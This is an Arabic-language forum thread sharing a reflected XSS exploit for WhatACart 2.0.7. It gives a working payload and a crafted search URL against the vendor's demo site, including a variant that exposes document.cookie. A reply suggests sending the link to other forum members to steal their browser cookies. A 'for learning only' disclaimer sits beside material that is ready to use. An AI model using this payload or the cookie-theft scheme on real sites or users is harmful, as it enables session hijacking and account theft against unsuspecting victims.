Exploit Title: WhatACart Version: 2.0.7 - Reflected XSS

[ExEExE is verified member.]

ادخل هذا الموقع :

Site Maintenance

حط بالبحث البايلود هذا:

<sVg/onLy=1 onLoaD=confirm(1)//

https://demo.whatacart.com/site/default/search?keyword=<sVg/onLy=1+onLoaD=confirm(document.cookie)//&navsearch=

زر تنبيه


..... للتعلم فقط

 

[STORMSTORM is verified member.]

ادخل موقع

Site Maintenance

مشاهدة المرفق 6529


حط بالبحث بايلود هذا

<sVg/onLy=1 onLoaD=confirm(1)//

مشاهدة المرفق 6530

https://demo.whatacart.com/site/default/search?keyword=<sVg/onLy=1+onLoaD=confirm(document.cookie)//&navsearch=

زر تنبيه


..... للتعلم فقط

عاشت ايدك يا عقالي، بارك الله فيك ❤
ننتظر جديدك دائما باذن الله
تقبل مروري

 

[KLD]

الثغره الوحييدة الي ضايع فيها وماعرف استعملها ولة عرفت طرق استغلالها وانواعها

 

[أبو البراءx+]

هي ممكن تستعمل الثغرة هادي سكام تنشرها للأعضاء الآخرين لسرقة الcookies الخاص بهم في المتصفح أما كإختراق فعلي للموقع ليس لها تأثير ويتم تنفيذها على المتصفح فقط اما على السرفر فلا يتم تنفيذها إلا إذا كانت نوعها store فيمكنك إذا كانت store أن تفعل الفعائل